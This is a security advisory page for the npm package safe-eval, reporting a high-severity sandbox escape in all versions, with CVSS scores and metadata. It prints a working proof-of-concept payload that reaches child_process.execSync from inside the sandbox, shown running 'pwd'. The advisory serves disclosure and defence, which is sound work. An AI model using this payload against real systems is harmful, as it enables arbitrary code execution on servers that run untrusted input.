logo

GHSA-9pcf-h8q9-63f6 safe-eval

Package

Manager: npm
Name: safe-eval
Vulnerable Version: >=0.0.0

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H/RL:U/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS: N/A pctlN/A

Details

Sandbox Breakout / Arbitrary Code Execution in safe-eval All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code. For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console. ## Recommendation No fix is currently available. Consider using an alternative package until a fix is made available.

Metadata

Created: 2020-09-03T17:12:41Z
Modified: 2020-08-31T18:44:49Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-9pcf-h8q9-63f6/GHSA-9pcf-h8q9-63f6.json
CWE IDs: []
Alternative ID: N/A
Finding: F422
Auto approve: 1